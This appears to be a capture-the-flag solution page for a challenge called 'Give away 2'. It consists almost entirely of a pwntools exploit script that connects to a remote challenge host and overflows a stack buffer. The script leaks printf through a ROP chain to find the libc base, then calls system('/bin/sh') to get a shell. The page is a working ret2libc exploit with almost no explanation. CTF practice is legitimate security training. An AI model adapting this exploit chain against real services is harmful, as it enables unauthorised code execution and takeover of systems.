Give away 2
from pwn import * import re NUM_TO_RET = 0x20 + 8 padding = b'A' * NUM_TO_RET poprdi = 0x0000000000000903 # pop rdi ; ret e = ELF("./give2") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if sys.argv[1] == "local" else "libc-2.27.so") p = e.process() if sys.argv[1] == "local" else remote('sharkyctf.xyz', 20335) output = p.recvline().decode() main = int(re.findall("Give away: (.*)", output)[0], 16) base = main - e.symbols['main'] e.address = base log.info(f"Main: {hex(main)}") log.info(f"Binary base: {hex(e.address)}") poprdi += base leak = flat(padding, poprdi, e.got['printf'], e.plt['printf'], e.symbols['vuln'], word_size=64) pause() #p.sendline(padding + p64(main)) p.sendline(padding + p64(e.symbols['vuln'])) #p.recvline() p.sendline(leak) #output = p.recvuntil("G")[:-1] output = p.recv() #p.recvline() output += b'\x00' * (8 - len(output)) printf = u64(output) libcbase = printf - libc.symbols['printf'] log.info(f"Printf: {hex(printf)}") log.info(f"Libc base: {hex(libcbase)}") libc.address = libcbase payload = flat(padding, poprdi, next(libc.search(b"/bin/sh\x00")), libc.symbols['system'], word_size=64) p.sendline(payload) p.interactive()
Last updated
Was this helpful?